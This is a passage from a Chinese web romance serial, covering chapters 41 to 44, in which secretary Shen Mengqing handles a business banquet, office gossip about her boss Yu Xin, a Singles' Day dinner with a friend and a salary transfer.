李青河应当和她差不多大,万群看外表在三十出头,这样算下来,余辛是年纪最小的。 他这会被簇拥着坐在最中心的主座, 修身西服被他一米八九的好身材穿得伸展熨贴, 室内温度太高, 他解开了衬衫的第一个纽扣, 隐隐约约露出一点锁骨的边沿,禁欲又清冷。 以前她怎么没发现, 余辛举手投足之间尽是游刃有余的矜贵,全然不像是游手好闲的富二代公子哥,在这种名利场中, 像是没在世俗的金钱权利里摸爬滚打过,而是天生掌控权欲的人,傲然地俯瞰着芸芸众人争名夺利。 沈孟青身边坐的是李青河的秘书,也是个女生,她主动和沈孟青互通了姓名,说自己叫唐思。 唐思看着很阳光开朗,刚毕业没两年,她方才听见自家老板和沈孟青很熟,心里不由对她亲近了几分,搭话说:“孟青姐,你长得真好看,你老板也好帅,你们俩就像那个金秘书韩剧里的男女主!” 沈孟青在唐思脸上看到了还没被班味完全击败的稚嫩,她笑着说:“等你多工作几年,可能就会觉得我俩像互相看不顺眼的仇人。” “我懂。”唐思低声说,“毕竟是上司,就算长得再帅,一工作起来也只想提刀砍他。” 沈孟青闻言,故意逗她说:“怎么,你想砍李青河啊?” 唐思立马脸一红,辩解说:“我没有!孟青姐你可千万别和李总说。” “放心,我不会的。” 沈孟青拍了拍唐思的背,小朋友真是不经吓。 等服务员将众人的杯子满上酒,这顿饭局就进入了主题,上座的人们起哄着让余辛做开席发言,他也不推脱,悠悠端起酒杯。 他的发言简短干练,最后一句话说完,也不知席上谁高呼了声好,四下响起掌声来,他举起杯,仰头将杯中的酒喝尽,动作干脆利落。 随后,他的目光越过长桌,遥遥看向沈孟青。 四目相对时,沈孟青心跳的节拍不受控制地一乱,看不明白他的意思。 “正好,我顺便给各位介绍下我的秘书,沈孟青。” 余辛双眸紧紧落在她身上,没有挪动过一分,沈孟青没想到他会在这么正式的场合当着所有人介绍自己,在她的设想里,最多只会私下敬酒时一嘴带过。 当感受到全场投射来的视线后,她强行让自己镇定下来,笑着起身举杯说:“还请各位以后多多关照。” 在她也将杯子里的酒一饮而尽后,余辛收回了目光,眼里冷了几分。 沈孟青这酒敬得颇具魄力,自是又赢得一众喝彩,不少人顺着对余辛夸捧说愈生这几年不仅人才越来越多,生意也是越做越好了。 余辛似笑非笑,谦恭地说仍需努力。 酒局渐入佳境后,从某个人掏出打火机开始,点燃的烟就犹如扑不灭的火势一般在宴席里蔓延开来。 沈孟青长叹一口气,又要闻讨厌的烟味了。 万群就坐在余辛身边,随手给他递去一根烟,说:“国外的好货,玩一根?” “不了。”余辛回绝说。 李青河见状,揶揄说:“最近他不知道抽什么风,怎么劝也不抽烟,硬是说自己戒了。” 万群一挑眉:“哟。” 他转而想起什么,面色沉了沉:“不会是因为你爸去世吧?” 余辛情绪没什么变化:“不是。” 李青河给万群使了个眼色,让他别提这种事。 觥筹交错间,余辛不经意地睨了眼尾座的人,抬手喊来了服务员。 他侧头向服务员低语了几句,没过多久,服务员就在靠近尾座的门口摆了三台空气净化器。 这举动引起了好几个人注意,万群瞠目结舌地看着余辛说:“不是哥们,你成禁烟大使了啊?” 余辛扯起筷子,夹了两口菜送进嘴里,无视了他的玩笑。 沈孟青这边的人自然也看到了,她身侧的唐思小声在她耳边说:“天呐孟青姐,突然觉得你老板好有魅力。” “哈?”沈孟青不解。 “他居然不抽烟,而且他好贴心啊,还让服务员搬来空气净化器。” 沈孟青抽了抽嘴角,如今年轻小女孩们的心动点这么低的吗。 她认真地说:“闻二手烟很不好,只是我们被迫接受太久了。” 唐思点点头:“你说的也对。” 宴席吃开了后,局面热闹起来,大家开始自由敬酒。 沈孟青作为新晋秘书,不免要在各位秘书前辈们跟前露露脸,她离开了座位,一位位认识了过去,那些大客户们就留给余辛社交。 等她喝完一轮酒回到座位,手机上多了条未读消息。 她疑惑地点进去,是余辛发来的。 狗头上司:「这么能喝?」 “……” 她抬头看了眼,俩中年大哥喝红了脸,正拉着余辛畅谈,他垂头缄默地听着,完全不像在意到了她这边的样子。 沈孟青在输入框敲下字: 「向您学习^^」 哪比得上他那一口干的气度。 这时,余辛拿起了手机,一心二用地回复沈孟青的消息。 狗头上司:「别喝了,系统上还在待离职状态的人请不了带薪假。」 看着都烦! 沈孟青一撂手机,懒得再回他。 …… 饭局结束,一桌人陆陆续续地散场。 沈孟青跟在比较末尾的位置,她本来和唐思走在一起,不知什么时候李青河刻意落后了几步,和她走到并排,唐思眼力见十足地加快了脚步,留这两人说话。 李青河偏过头,朝沈孟青看去:“一直没找着机会问,你怎么成余辛的秘书了,不打算回楚城了吗?” “说来话长,当初回楚城是觉得职业发展有点受限了,但有了做董秘的机会后,还是不想错过吧。”沈孟青概括了下,回答道。 李青河了然,第一次和沈孟青见面的情景浮现眼前,他笑着说:“你果然还是这么热爱工作。郝阿姨那边呢,你告诉她了吗?” “说了,她虽然有点伤心,但也习惯了。” 沈孟青昨晚第一时间就和郝孟打电话说了,郝孟是有些失落,但一想到自己年轻的时候也没怎么陪伴沈孟青,都忙着在外面赚钱,就也支持她的选择。 更重要的是,沈孟青在北城更方便和李青河多多接触,她现在更想看到沈孟青能成家。 “你有没有想过把郝阿姨接到北城来生活?”李青河问她。 沈孟青摇摇头:“我妈以前在外面打拼久了,如今只想在家开心养老,我不是有三个姨妈么,她每天和姨妈们待在一块玩,来北城了她不认识几个人,反而过得没那么快乐。” “原来是这样。”李青河话锋一转,眼尾的笑意更浓,“那我们是不是又要多互帮互助一阵了?” 沈孟青知道他在说相亲的事,仗义地说:“没问题,只要我还单身,你随便用我当借口。” 李青河:“我也随便用。” 见沈孟青笑而不语,李青河好奇地问她:“怎么,在你妈那,你有其他理由?” 沈孟青诚实地说:“没有,但我和她说的实话,我们就是普通朋友。如果我说在和你增进了解,她怕是第二天连婚宴的日子都选好了。” 李青河被她逗笑,两人的欢声笑语乘着风,传到前头人的耳朵里。 等送走了人,大门前就只剩下余辛和沈孟青。 两人谁也没说话,一齐在这寒凉的秋风里站着,穿过沈孟青发丝的风又刮至余辛的脸侧,气氛不断降温,和方才的喧闹对比强烈。 沈孟青在等余辛先走,他走了后,她再打车回去。 她两手揣进口袋里,垂首看着自己的鞋尖,在心里催促着余辛快动身,她可不想在这罚站。 倏地,一辆黑车停在了两人跟前,沈孟青抬眼一眺,驾驶座上坐着陈墨。 她隔着窗户朝陈墨点了个头,余辛终于挪动了步子,他长腿一迈拉开了后座的门。 在坐上车前,他回头看向沈孟青,冷声开口道:“上车。” 沈孟青:“?” 余辛:“我还不至于让喝了酒的女同事在深夜自己回去。” “哦。” 沈孟青小步走到副驾驶座前,手刚放上去,就听见余辛说了声:“坐后面。” 切,她才不听呢。 沈孟青飞快地拉开副驾驶的门,一气呵成地坐下关门。 等余辛也在后头坐好了,陈墨从手边掏出个香水,反手往后递给他。 余辛朝前座扬了扬下巴,说:“先给她用吧。” 沈孟青接过陈墨给来的香水,有点困惑。 陈墨踩下油门,语调平平地解释说:“参加完这种聚会身上会有烟味,喷香水可以盖掉一些,余总每次应酬完都会喷。” 余辛:“……” 最后一句话纯属多嘴。 沈孟青揪起衣领闻了闻,还真沾上了烟味,她拿起香水往身上喷了两三下,霎时间,她衣服上弥漫开余辛身上那股木质调香气。 她本来想还给陈墨,转而想起余辛还没用,便扭过身递给他。 余辛懒散地靠在椅背上,倒退的路灯照在他脸上,忽明忽暗。他修长的胳膊伸展开来,接过香水时,瓶身太小,他的手指覆上了沈孟青的指尖。 沈孟青的手缩回去得很快,但余辛仍然注意到了,她的手怎么这么凉。 “调高点温度。”他对陈墨说。 空调温度升高后,沈孟青依旧没感觉到什么暖意,可能因为车上另外两人太安静,一个是闷葫芦机器人,一个是臭脸冷冰块。 她伸手正想把出风口调整下,对准她些,忽地车内响起了来电铃声,车载屏幕随之亮起,显示出梁美林三个大字。 沈孟青看见这个林字,顿觉有点眼熟,好像曾经坐余辛的车时,也见过这个人打电话,但他没接过。 蓝牙连接的是余辛的手机,陈墨开口道:“接吗?” “挂了,我等会再回。”余辛说。 陈墨回道:“好的。”—— 作者有话说:李青河:喜从天降 我又机会多多了[墨镜] 辛子:后面好吵,汪汪汪 这个坏狗每次都心机地把自己喷得香香的去找阿青嗷 第42章 第四十二章(加更) 他性冷淡。…… 由于喝了酒, 沈孟青回家后早早洗漱上了床,没过多久就睡着了。 第二天,她踏进办公室时, 敏感地察觉到大家看她的眼神变了, 从门口到工位的一路上,她俨然成了人群的焦点。 有一个和她没什么交集的男同事缓缓挪脚过来, 扒在她桌沿边, 笑着说:“早啊, 听说你上任余总秘书了?” 沈孟青应道:“嗯。” “你不是辞职了吗?”男同事不解地问。 沈孟青自顾自地拿出电脑, 头也不抬地说:“公司没有规定不能回流吧。” 男同事像是看不懂她的敷衍,追问说:“我听他们说, 是余总点名签的你?” 沈孟青实在不想应付了, 椅子一转,盯着这同事说:“是又怎样, 既然你们喜欢传闲话, 那我说什么还重要吗?” 男同事撇撇嘴,边往回走,边小声吐槽着:“不说就不说,有什么好拽的。” 沈孟青的态度让很多想来问八卦的人打了退堂鼓, 都转到私下议论去了。 将近九点时, 梁军和张图一同走了进来, 沈孟青从电脑屏幕后抬头看了眼, 这两人一个比一个脸色差。 她心情极好地弯了下嘴角,还没开心一秒, 在看清屏幕上弹出的消息后,笑容的弧度瞬间耷拉了下去。 狗头上司:「来我办公室,整理资料。」 万恶的资本家。 沈孟青啪地将电脑一合, 夹在胳膊出了办公室。 她站在电梯里,看着显示屏上的数字迅速攀升,在心里谋算着反正销售部的事情都收尾了,要不和礼帆说一句,尽早搬到董事办算了。 虽然她还没习惯和余辛一起共事,有些不自在,但还是比待在人人虚伪的销售部好点。 董事长办公室的大门敞开着,沈孟青轻轻敲了敲,等里头应了声,她才走进去。 余辛正对着电脑处理邮件,他目光专注在电脑屏幕上,出声说:“桌子上放的都是柜子里的客户资料,我今天打开看了下,归档得很混乱,你重新整理下吧。” 沈孟青看着沙发中间厚厚一沓纸,从牙缝里挤出俩字:“好的。” 她抱起资料,说:“我去哪整理。” 余辛敲键盘的声音一停,看向她说:“就在这。” “这些纸加起来也有大几斤了,如果你想锻炼身体扛上扛下,我也不介意。”他淡淡然说道。 沈孟青不搭理他阴阳怪气的话,往沙发上一坐,埋头归置资料。 等她逐渐上手后,才明白为什么余辛要把这事交给她,最熟悉客户的自然是销售部,让她来做这事确实最合适。 沈孟青对自己工作的要求向来是尽善尽美,她效率极高地把手头的材料归纳好后,又全部按顺序收拾进了柜子,做好了标记。 等彻底完工,她拍了拍手上的纸屑,脸上挂着标准的职业微笑:“余总,全部整理好了。” 余辛闻言,抬起手腕看了眼手表:“嗯,时间差不多了。” 沈孟青不解地看着他。 余辛从椅子上站起身,又伸手将椅子推进桌下,说:“走吧,去吃午饭。” “?” 沈孟青眨了眨眼,她好像没答应他一起吃饭吧。 余辛走到门口,见沈孟青还没跟上来,高大的身影往门沿一靠,说:“怎么,这才第二天,沈秘书就要罢工了吗,我本来还打算给你补齐这半个月工资的,如果沈秘书不想干了,可以尽早提。” “当然没有。”沈孟青笑着走过去,把余辛挤出门后伸手将门带上,“我这不是等余董事长先走,给您关门么。” 他说话夹枪带棒,她还会见狗说狗话呢。 食堂在十楼,正是饭点,两人刚下了几层电梯,就源源不断地进来了好几拨人。 原本沈孟青和余辛分别站在两个角落里,各守一方的,谁料余辛这会在员工面前端出一副体恤人的模样,善解人意地不停让着空间,也不知怎么,慢慢就挤到她身前来了。 沈孟青也没办法再松散地靠在墙壁,只好站直了些,背骨抵着墙角,眼前是余辛宽阔的脊背,电梯里的空气变得稀薄又躁热,她不自觉深吸一口气,咽了咽口水,聊胜于无地滋润下干涸的喉咙。 等到了十楼,其他员工不约而同地往两旁一站,给余辛让路让他先行。 余辛几步走出去,忽地转头看向沈孟青,沉声说:“怎么不过来。” 沈孟青再一次感受到了四面八方的视线压力,里头还掺杂着一些意味不明的打探。 她又端出得体的笑容,几步走到余辛跟前,抬起右手,语调和客服似的说:“余总,您请。” 全然是一副择不出差错的下属形象,体贴,但冰冷。 等沈孟青走到并肩的位置,余辛用只有两个人能听见的音量说道:“你在公司是这种人设?” 这儿人太多,沈孟青嘴角还是微笑的弧度:“这都是我作为秘书该做的。” “而且,明明是你太高调了。”她说。 “高层不能吃食堂吗?”余辛目不斜视。 “我不是指这个。” 余辛哼了声,鼻子出气:“老板和秘书不能一起吃饭?没见过哪个秘书这么心虚的。” 沈孟青挺起胸仰起头:“余总说笑了,我没心虚,只是不想影响到您的威信,避免让同事产生不必要的误会。” 余辛没再说话,他们跟在人潮后头,顺着队伍排队打菜。拥挤间,沈孟青走到了余辛前头,她简单挑了两荤一素,付钱的时候,身后伸出只手,替她滴了卡。 沈孟青回头看去,余辛挑了挑眉,说:“第一次来食堂,体验一下刷卡。” 后头还很多人等着,沈孟青没和他纠结这事,端着餐盘就近找了个座位。 她刚坐下,余光一暗,姜羽托着碗煮面在她旁边一坐:“你吃食堂怎么不约我一起?” “我……” 沈孟青刚把一口饭送进嘴里,差些呛到,还没顺过气来,余辛就在她对面坐下。 他朝姜羽点了个头算作招呼,姜羽还没动筷,觉得这桌上气氛让她食欲全无,端起盘子正想换个地方,不料衣角被沈孟青在桌子下死死攥住。 沈孟青看向她的眼神里似是带着笑意,但姜羽看出来了,她在暗示要是自己敢走就死定了。 姜羽抓起筷子,食不知味地吃起饭来。 余辛才吃几口,就朝姜羽发问说:“听说媒介部最近数据运营得还不错?” 姜羽将还没嚼碎的菜咽下肚:“是,比上个月提升了快一倍。” 在这之后,余辛总是时不时问姜羽几句媒介部近期的工作情况,姜羽边吃饭边应付,深刻怀疑余辛是报复她打扰到了他们的“二人时光”。 沈孟青倒是吃得怡然自得,终于不用她独自面对余辛了。 …… 下午,沈孟青把交接的最后一个资料发出后,从工位起身去找礼帆谈谈搬办公室的事。 她找到人事办公室,礼帆还在忙,其他HR引她坐到空的洽谈室等会,准备给她倒杯水,沈孟青不想干坐着,便跟着HR进了茶水间。 人事办公室的茶水间比其他办公室的丰富多了,柜子上摆着各式各样的花果茶包,干货小吃,咖啡都有很多种类,沈孟青拿了包拿铁,放进杯子里冲泡。 HR环视了周围一圈,确认没有人后,小声凑近说:“沈秘书,在余总身边工作感觉怎么样?” 再怎么说这人也是HR,沈孟青哪敢说一句余辛的不是,她浅浅地笑着:“挺好啊。” “真的吗?”HR有些不信,嘟囔着说,“我第一眼见到他还感叹了下,有这么帅的董事长在上班都不苦了,但接触了几次后,总感觉他人太高冷了,反正我觉得,不太好相处。” 沈孟青中肯地说:“可能他的性格是这样,但是在工作里,他不会无缘无故指责人的。” HR点点头:“你说的也是。” 她撞了下沈孟青的肩膀,调侃她说:“你这才当上秘书几天,就开始替他说话了,不会是被他的美貌折服了吧。” 沈孟青喝了口咖啡,呵呵笑了两声,她那是为钱折服。 HR在她旁边站着,越看越觉得,这老板秘书俩帅哥美女,天天待在一起,不会真看对眼吧。 她突然问道:“沈秘书,你是单身吗?” “是啊。”沈孟青看向她,“怎么了,现在员工信息已婚未婚还不够,已经要详细到单身非单身了?” HR被她逗乐,摆摆手说:“不是,我听说余总中午请你吃的食堂?” “还有媒介部的姜羽。”沈孟青纠正说。 HR又悄然向她靠近了几步:“据说,是余总亲自签的你来做他秘书啊?” 沈孟青笑了下:“这事到底是怎么传出来的?” HR说:“不是我们礼经理说的,是你们部门传出来的。” 沈孟青思索了会,估计是张图说出来的。销售部掌握这种信息最快的也就梁军和张图了,梁军再离谱,也不至于作为个领导和别的同事传这种闲话,但张图就不一定了,闲聊时肯定会扯上她几句。 “不管是不是,余总都有他自己的考量,我的简历股东们和礼经理也看过,工作档案你们也清楚,如果不能胜任,自然也会有其他人反对。”沈孟青正色说。 HR:“不不不,我不是质疑你能力不够当秘书,我的意思是……” “你说,有没有一种可能,余总他喜欢你啊?”HR兴奋地看向她。 其实沈孟青早就预料到了公司里会有这种闲话,甚至她已经听到了一两句,不论是嘲讽她还是八卦她和余辛关系的。 她和余辛年纪不大,相貌又出众,两人因为工作被绑定在一块,总有人会生一些恶意的揣测,更别说是老板和秘书这种本身就略带特殊的关系。 但沈孟青挺讨厌这种以议论别人来取乐,满足自己八卦心思的行为,大多数时候,这些谈资里恶意的矛头都对准了女人,好像女人完全不是个独立的个体,只是个攀附在男人身后的附属品似的,她们本身的闪光特质完全被忽略了。 她做不到堵上每个人的嘴,但是她能扼杀一个是一个。 “不会。”沈孟青搅着咖啡。 HR见她十分确信的样子,疑惑道:“为什么?” 沈孟青随意瞎诹着说:“他性冷淡。” 适时,门口传来一声轻笑。 沈孟青回头看去,余辛立在门边,西服的扣子拧得一丝不苟,眼镜框边折射出银光。 “礼经理忙完了,你可以进去了。” “沈秘书。” 沈孟青感觉,余辛在喊出最后那三个字时,格外的咬牙切齿—— 作者有话说:今天加更!)虽然日渐变薄的存稿在抵抗 辛子:谁在造谣 第43章 第四十三章 要去约会? 沈孟青不怕余辛听见她在背后说他坏话, 更何况说他性冷淡,也不算什么坏话吧,总比其他风言风语来的好。 她这是在做好事, 为他们俩清清白白的名声着想。 感受到身旁HR火热的目光, 沈孟青淡声回应他:“好的余总。” 她放下手里的咖啡,身子笔挺目不斜视地经过余辛, 往礼帆办公室走去。 茶水间里, 那HR见这两人好像的确没什么火花的样子, 看来是大家想多了。 她正想出门, 却望见余辛还站在外头,她迟滞地心里咯噔一声, 不知道刚才他听见了多少。 HR勉强扯出个微笑:“余……余总, 您喝点什么吗?” “不用。”余辛看了眼手表,时间还够他说几句话。 “我和沈秘书的这些闲话, 什么时候开始传开的。”他冷冷问道。 HR有些苦不堪言, 背后说领导坏话被听见简直是打工人最噩梦的事,她快维持不住脸上的笑,着急忙慌地回答道: “大概今天早上,沈秘书就职的事情公司内部基本都知道了, 销售部那边有人说是您主动找的她, 所以, 就有些……不太好听的话。但是我没有传播!我是正好和沈秘书在聊天, 就问问她,也是想得到她的否认好去澄清一下。” 余辛了然, 说道:“以后谁再聊这种话题,让他直接来董事办找我当面问,不要去影响沈秘书的工作。” “还有, 沈孟青和所有候选人经历了一样的简历筛选、工作评估和背景调查,只是时间上滞后了些,录取的合规性可以直接去找礼帆求证。” HR不停地点头:“我明白我明白。” 不过几度的秋天,她身上都快冒出汗来。 余辛话也不多说,把事情讲清楚了后,抬脚就走。等他走远了,HR长舒一口气,她这才发现居然没被这位新董事骂。 看来沈秘书说得没错,这余总只是性子冷淡了点,并不会苛待下属。 那头沈孟青进了礼帆的办公室,直入主题地说明了下换办公室的诉求。 礼帆自然没意见,反正沈孟青销售部的工作都处理完了,尽早去董事办上手秘书工作是件好事。 她同意了之后,话头一转,以闲谈的轻松语气问沈孟青道:“你最近可是公司的风云人物哦。” 沈孟青笑了笑:“嘴长在别人身上,他们爱怎么说怎么说吧。” “心态这么好?”礼帆一挑眉,没有想到。 毕竟有些人说话真挺没礼貌的,什么沈孟青的工作能力不配做董秘,过不了多久就会被辞,更难听的,还有说她是想攀上余辛,嫁入豪门。 这还是别人美化过语言告诉她的,说不定原话有多恶心人。 “没办法,有些人就是爱说些歪曲事实的谣言,和这种心理扭曲的人理论,掉入自证怪圈就不好了。” 反正她行得正坐得直,她配不配做秘书,也不是他们说了算。 礼帆也笑了,说:“挺好的,那我就放心了,刚才余总来我这谈事的时候,还顺带聊了下最近这些传言呢,他怕影响你工作,让我多留意。不过看你这状态,我应该不用进行员工心理疏导了。” 沈孟青歪了歪头,问道:“余总也知道?” “当然了。”礼帆说,“他和你心态差不多。” 离开了人事部,沈孟青一回到销售部的办公室就开始收拾工位。 前段时间因为有了离职的计划,她已经将大部分东西转移到家里了,这会整理起来很轻松,一个纸箱子就能装下剩余的物件。 办公室里很多同事注意到了她的动静,都暗暗窝在电脑屏幕后打量着。 沈孟青不打算和梁军招呼一声了,直接搬着箱子上了顶楼。 余辛和陈墨都不在办公室,前台的接待员帮她一起整理了工位,还把特助和秘书的办公室清扫了一遍。 沈孟青在专属于自己的桌前摆上一盘仙人掌,这仙人掌深绿带刺的端头开了朵嫩黄的花。她心情极好地叉起腰,环视了一圈办公室,四下整洁干净,一片崭新- 几天后,到了双十一节点,整个公司都格外忙碌,尤其是媒介部,为了赶上这波电商平台流量,每天都在熬夜监控分析数据。 沈孟青逐渐习惯了秘书工作,甚至她发现,以这种身份和余辛相处挺简单的,在工作中大家界限分明,她能很好地把控其中的度,对于超出工作范围的事,她也能严词拒绝。 光棍节这天上午,沈孟青正在办公室整理媒介部发来的数据汇报,忽而接到了前台的电话,说是她有个外卖在前台,需要她本人来取。 沈孟青挂了电话,疑惑地走到前台。 前台的桌上立着个透明盒子,里头是一只用蓝色玫瑰花拼接成的小熊,小熊的手上还捧着一束粉色玫瑰花。 接待员见她来了,立马八卦地凑上去,小声说:“沈秘书,你男朋友送的啊?” 等沈孟青来的间隙,她用手机查了下这个牌子,这玫瑰花小熊居然要五位数。 沈孟青说:“我单身。” 她抱起盒子上下左右看了下,也没看出来送礼的人有留下什么信息,她在脑海里搜刮了一圈朋友名单,想不出有谁会如此高调地给她送礼物。 这时,她手机铃声突兀地响起,沈孟青一看,是李青河的来电,她一下就明白了。 接通电话后,她率先开口道:“是你送的吧?” 李青河听出了她语气里的一丝质问,在听筒那头哑然失笑,说:“明明送礼物是好事,我怎么有种被严刑拷问的感觉。” “谢谢你的礼物,但是,你这戏演得有点太过了吧。”沈孟青低声说。 李青河无奈地说:“没办法,我爸在公司盯着我呢,刚开完会就抓着我问这节日有没有什么表示,我说没有,他把我骂得狗血淋头,骂了快半个小时,真应该录下来给你听听。我怎么解释他都不听,非得亲眼看到我给你下单礼物才行。” “对了,他还要我问你晚上有没有时间,让我请你吃饭呢。”李青河旋即说道。 等话题结束,沈孟青把手机滑进口袋里,两手捧着这玫瑰花盒子往里走去。 好巧不巧,她才走几步,就迎面碰上了从办公室出来的余辛。 余辛一眼就看见了沈孟青手里捧的东西,太扎眼了,一盒子老土的玫瑰花,比夏天那种鲜嫩的小野花差远了。也不知道是不是室内暖气太足的缘故,他感觉沈孟青脸色还有些可疑的潮红,眉眼雀跃。 就收到个玫瑰花,给她高兴成这样? 两人的距离又走进了些,在肩膀交错时,余辛脚步一顿,淡淡然出声道:“自己买的?” 沈孟青笑了下:“朋友送的礼物。” 余辛在心里轻嗤了声,猜都不用猜,肯定是李青河送的。 他侧头又瞥了几眼,评价道:“你这朋友,眼光堪忧。” “既然是我的朋友,那就不劳余总费心了。”沈孟青举起盒子,直戳戳怼在余辛脸前,“我还挺喜欢的,反正收礼的是我,我满意就够了。” 余辛没再搭话,长腿一迈向门外走去,衣尾随着他走路的幅度扬起,呼呼带风,后脑勺看着和刺猬似的,像是在生闷气。 沈孟青心情倒是畅快了不少,哼着不知道歌名的小调回到工位,把玫瑰花小熊往桌上一放,继续工作起来。 …… 下午六点,她轻声敲响了余辛办公室的门。 余辛桌上放着堆积的一沓协议,他正一个个签着字。 “什么事?”他边翻阅着手里的资料,边问道。 沈孟青说:“余总,我今晚有点事,会在七点前下班,其他部门发送来的数据表我都整理好发你邮箱了。” 余辛将笔一放,抬头看向她:“有事?” 沈孟青认真地回答道:“对。” 余辛缄默下来,看他神色,显然是想等沈孟青详细解释下有什么事,但沈孟青装作看不懂,本来就是下班时间,她有什么私事没必要告诉他。 余辛转而扯起些别的:“媒介部的数据分析都写好了?” 沈孟青:“当然,陈特助也看过了。” “销售部的业绩报告呢?” “全部拉表总结好了,都在你邮箱。” 余辛用食指和中指夹起笔,笔帽朝下,在桌上一下一下的敲着,他垂着头,沈孟青看不清他眼里的情绪,只能看见他尖尖刺刺的发尾。 她直勾勾地盯着余辛,直到他说了声知道了,她才笑着说:“那你忙。” 和余辛报备好后,沈孟青又工作了半个小时,随后合上电脑,提起包出了办公室。 出门时,前台的接待员妹妹也正要下班,她见沈孟青补了个精致的妆容,风衣里头穿着修身长裙,衬得她清丽明媚。 接待员挎上她的胳膊,笑着说:“沈秘书,今晚有约会?” “算是吧。”沈孟青没有否认,反问她说,“你呢,和男朋友出去吃饭?” “是呀,我和我男朋友从大学就在一起了,这种节日也就一起吃个饭,礼物什么的早就不送了,他最多给我发个转账。” “有转账也行,你可以买自己喜欢的东西。”沈孟青说道。 电梯门一开,两人齐步迈了进去,等转过身才发现,背后悠哉哉跟着个人。 沈孟青看向余辛那张冷脸,眼皮一跳,他怎么和幽灵似的一点声音都没有,也不知道偷听到了多少她们的聊天。 她正要按下关门键,余辛转回头对接待员说:“方莉,刚才陈特助喊你。” “是吗?”方莉不是很想动,她都要下班了。 余辛直直看着她:“嗯,听起来很急。” 方莉看了眼时间,一咬牙,还是出了电梯。 电梯门一关,狭小的空间里就只剩下她和余辛。 余辛拿背对着她,他是个衣架子,阔长的大衣穿在他身上,每一寸都紧密地贴合他的肌肉线条。 他身高太高,离得稍近点儿就没来由的有种压迫感,沈孟青不经意后撤了几步。 “要去约会?”余辛凛冽的嗓音在电梯里响起。 沈孟青懒得多说:“嗯。” 他状似随意,又问:“和李青河?” “余总。”沈孟青语气比他还淡漠,“这是我的私事。” “问问而已。”他不以为意地说。 余辛要去的是一楼,而沈孟青的目的地是地下停车场。 电梯在一楼打开时,余辛脚步停了两秒,欲言又止地睨了眼沈孟青,而后才往前走去。 电梯门关上前,沈孟青瞥见了他垂在身侧的手指正无意识地摩挲着。 沈孟青嘴角弯了弯。 看来,他心情很烦郁啊—— 作者有话说:辛子煎熬中 老婆要去和别的男人约会怎么办!! 第44章 第四十四章 转账 到了地下停车场, 姜羽早就发动好了车子等着沈孟青了。 等沈孟青在副驾驶坐好,姜羽一副做贼心虚的模样,对她说道:“你怎么来得这么慢, 我可是好不容易找到个理由从薇姐眼底下逃出来的, 等你等得我都怕在这停车场被她发现了。” “事情没处理完,耽搁了点。”沈孟青说, “我们预约的七点四十, 还赶得上。” 姜羽看了眼红绿相间的导航路线:“但愿吧, 这个点有点堵。” 沈孟青和姜羽在成为好友的第一年, 就约定好只要两人还单身就每年一起过光棍节。 甚至她们每次约会地点都是在情侣最多的西餐厅,别人有男友的惊喜, 而她们互相给予浪漫。 一路堵堵停停地到了预定的餐厅, 两人不约而同地穿了裙子,袅袅婷婷在椅子上坐下。 这家西餐厅的氛围不错, 每个桌子间距离宽阔, 不会太吵闹,听不见别人的谈话声,放的音乐也是低沉动人的 R&B。 两人随手点了个情侣双人餐,就着杯子里的柠檬水闲聊起来。 姜羽好奇地问沈孟青:“你最近的秘书工作怎么样?” 沈孟青耸耸肩:“还行。” “你和余辛, 真没擦出什么火花?”姜羽眨了眨眼, 看向她道。 沈孟青有点无语, 飞了姜羽一记眼刀:“别人说说也就算了, 怎么你也瞎掺和这种八卦。” 姜羽说:“没有,我是单纯站在你好朋友立场问的。据我观察, 余辛真有可能喜欢你,你一点感觉也没有吗?” 沈孟青沉默下来。 以往半年多时间和余辛接触过于“亲密”,所以她即便是注意到一些余辛的异样, 也能将原因划归为他们曾经的特殊关系。 毕竟,他们经历了那些之后,必然会造成两个人的相处和其他人不一样的情况,算是情有可原。 况且,她现下好不容易习惯了老板和秘书的身份转变,没办法再去考虑些其他的情感。 就现在这样只谈工作只谈钱,不掺杂任何情感的状态,挺好的。 “有我也没那意思。”沈孟青较真地说。 她话音刚落,手机就弹出条新消息。 沈孟青点进去一看,是狗头上司发来的,她本来想直接摁灭,坚守下班时间不看工作消息的底线,结果看见上头一个明晃晃的[转账]。 ? 她按耐不住好奇心,点进一看,余辛给她转了三万元。 他还附言说: 「别误会。」 「这半个月的秘书岗位工资。」 …… 谁误会了。 沈孟青回想了下这段时间被他压榨的时日,她一定会心安理得地接收这笔钱,但她不打算现在就收。 过会再说吧。 姜羽不小心瞥见了她的手机屏幕,看见了显眼的亮色转账框条。 她把手里的叉子一放,惊讶地问沈孟青:“阿青,谁在今天给你转账啊。” 沈孟青连忙放下手机:“哦,有人之前借了我钱没还。” “偏偏选今天还?”姜羽嗅到了奸情的味道,很不对劲。 沈孟青:“你别想太多了,我弟弟。” 这理由真是好用。 “哦哦。”姜羽半信半疑地缩回了座位,“我还以为你这是收到了礼物呢。” 沈孟青一噎,好像也的确收到了礼物。 她在电话里拒绝了李青河的晚餐邀请,用她当借口是一回事,在节日一起吃饭就是另一回事了。 李青河各方面都挺优秀,但沈孟青只把他当朋友。 她也说不清为什么对李青河没有感觉,或许就像上回玩赛车一样,她只想享受速度飙升的快感,而李青河过于在乎她的感受,用保守的速度来开车,两人做不到同频。 她打算下回找个机会给李青河还还礼,这礼物她收着不安。 比起餐厅里其他享受约会时光的情侣们,沈孟青和姜羽吃饭的速度要快很多,聊着聊着,不过一个小时就吃完了套餐里的菜品,意犹未尽地离开了餐厅。 沈孟青照旧打车回家,等到了深夜,她洗漱完了躺在床上后,才接收了余辛的转账。 很快,对面发了条消息来。 狗头上司: 「不想收就别收,这么晚才点,消息提示音吵到我了。」 切。 沈孟青把手机锁屏,阖上眼睛准备睡觉。 既然他嫌弃消息提示音吵,那她就不回消息了,贴心地让他好好睡觉- 新的一天。 沈孟青比往常早起了二十分钟,她从衣柜里拿出一套她买过最贵的黑色套装,睡眼惺忪地换上。 在洗手间洗了把脸清醒之后,她细致地画了一个全妆。 今天上午要开股东大会,之前不少股东想塞人来做秘书,她如今肯定是他们的眼中钉,少不了要被为难。 打车到公司后,她马不停蹄地赶往会议室,测试完设备后,又和HR一起摆放好了姓名牌和矿泉水。 余辛进会议室的时候,沈孟青正困倦地打了个哈欠,他在最头上单独的位置坐下,凉飕飕说了句:“没休息好?” 他穿得也比平时还要更正式,一身纯黑色高定西装,气质冷峻清贵。 “嗯。”沈孟青闷声随口应了句。 余辛胳膊往桌子上一搁,边翻阅着会议资料,边说道:“约会到那么晚,自找的。” 沈孟青懒得理他,一切准备就绪后,坐在后排的座椅上等着股东们到齐。 